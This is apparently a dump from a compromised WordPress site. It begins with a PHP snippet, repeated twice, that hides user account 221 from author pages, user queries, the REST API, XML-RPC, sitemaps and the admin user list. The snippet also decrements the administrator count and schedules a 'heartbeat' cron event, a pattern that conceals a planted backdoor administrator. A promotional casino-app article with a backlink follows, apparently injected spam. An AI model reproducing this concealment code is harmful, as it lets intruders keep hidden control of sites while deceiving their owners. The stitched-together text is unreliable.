add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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										<content:encoded><![CDATA[<p>You don&#8217;t need a desktop to get the full casino experience anymore &#8211; and if you&#8217;re in the UK, the <a href="https://royal-valley.uk/">royal valley casino</a> app proves it. This isn&#8217;t a stripped-back mobile site dressed up as an app. It&#8217;s a full lobby, real-money cashier, and live dealer streamer, all squeezed into a package that fits in your pocket. And it&#8217;s built specifically for UK players, with GBP payments, UKGC licence №57869, and biometric login that actually works.</p>
<h2>Installation That Doesn&#8217;t Waste Your Time</h2>
<p>Getting the app on your phone takes less than a minute, but only if you do it the right way. For iPhone and iPad, hit the App Store, search for Royal Valley IOS download, tap Get, and authenticate. Android users open Google Play, search Royal Valley Casino Android, and hit Install. That&#8217;s it. No side-loading, no dodgy APKs, no messing about with settings. The app updates automatically through your device store, so you never have to hunt for the latest version.</p>
<p>Before you even make your first deposit, you can set everything up properly:</p>
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<li>Confirm you&#8217;re 18+ and physically in Great Britain.</li>
<li>Enable Face ID or Touch ID (or fingerprint on Android) for faster, safer logins.</li>
<li>Turn on push notifications if you want offers and new game alerts.</li>
<li>Set deposit limits in the Responsible Gambling menu before you play.</li>
<li>Select GBP as your default currency in the cashier.</li>
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<h2>What Actually Works Better on Mobile</h2>
<p>The app mirrors the desktop site &#8211; same categories, same search, same live dealer tables &#8211; but it&#8217;s tuned for thumbs, not mice. Persistent bottom menus, swipeable game rows, and a cashier button you can reach without stretching your thumb. Favourites and recently played titles sync across devices, so you can start on your phone and finish on your tablet without losing your place. Live dealer streams adapt to your connection, running smoothly on Wi-Fi or 5G without buffering.</p>
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<h2>Payments, Safety, and the Boring Stuff That Matters</h2>
<p>Deposits and withdrawals are handled through familiar UK methods in GBP. Debit cards and trusted e-wallets work fine; credit cards don&#8217;t, because UKGC rules say so. Processing times and limits are transparent &#8211; check the cashier before you deposit. The app uses TLS encryption end-to-end, login attempt throttling, and store-verified binaries. You won&#8217;t find a safer way to gamble on a phone.</p>
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<h2>What to Do If Something Goes Wrong</h2>
<p>If the app won&#8217;t install, restart your phone, check your date/time settings, and try again on Wi-Fi. Android users should clear the Google Play cache. If performance stutters, close  background apps, switch to Wi-Fi, and lower video quality in live casino. For account issues, use in-app chat &#8211; it&#8217;s faster than email and you don&#8217;t have to leave the app.</p>
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<li>Always download from official stores &#8211; never third-party sites or APKs.</li>
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<p>The Royal Valley Casino app isn&#8217;t a compromise. It&#8217;s the full desktop experience, rebuilt for your phone, with the same games, same cashier, and same responsible tools &#8211; just faster to access and easier to use one-handed. Install it, set your limits, pick GBP, and start playing. Anything else is just extra steps.</p>
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